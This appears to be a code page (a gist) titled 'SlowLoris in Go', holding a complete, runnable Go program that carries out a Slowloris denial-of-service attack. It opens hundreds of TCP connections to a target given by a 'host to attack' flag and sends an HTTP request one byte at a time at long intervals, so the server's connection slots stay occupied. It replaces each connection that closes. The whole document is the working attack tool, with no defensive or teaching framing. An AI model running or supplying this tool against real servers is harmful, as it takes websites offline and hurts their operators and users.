Created
October 29, 2019 20:05
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SlowLoris in Go
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| package main | |
| import ( | |
| "time" | |
| "net" | |
| "fmt" | |
| "flag" | |
| "os" | |
| ) | |
| func main() { | |
| var ( | |
| host string | |
| num int | |
| timeout int | |
| ) | |
| flag.StringVar(&host, "host", "", "host to attack") | |
| flag.IntVar(&num, "num", 500, "number of connections to use") | |
| flag.IntVar(&timeout, "timeout", 30, "number of second to wait between each byte sent") | |
| flag.Parse() | |
| if host == "" { | |
| fmt.Fprintln(os.Stderr, "No host specified.") | |
| return | |
| } | |
| slowloris := func(ch chan error) { | |
| const request = "GET / HTTP/1.1" | |
| var ( | |
| conn net.Conn | |
| err error | |
| ) | |
| conn, err = net.Dial("tcp", host) | |
| if err != nil { | |
| ch <- err | |
| return | |
| } | |
| defer conn.Close() | |
| for written := 0 ;; { | |
| var ( | |
| payload []byte | |
| wrote int | |
| err error | |
| ) | |
| if written < len(request) { | |
| payload = []byte(request[written:written+1]) | |
| } else { | |
| payload = []byte{0x13} | |
| } | |
| if wrote, err = conn.Write(payload); err != nil { | |
| ch <- err | |
| return | |
| } else { | |
| written += wrote | |
| time.Sleep(time.Duration(timeout) * time.Second) | |
| } | |
| } | |
| } | |
| ch := make(chan error) | |
| // Concurrently spin up a large number of slow connections | |
| for i := 0; i < num; i++ { | |
| go slowloris(ch) | |
| } | |
| // Every time a connection is closed, replace it | |
| for _ = range ch { | |
| go slowloris(ch) | |
| } | |
| } |
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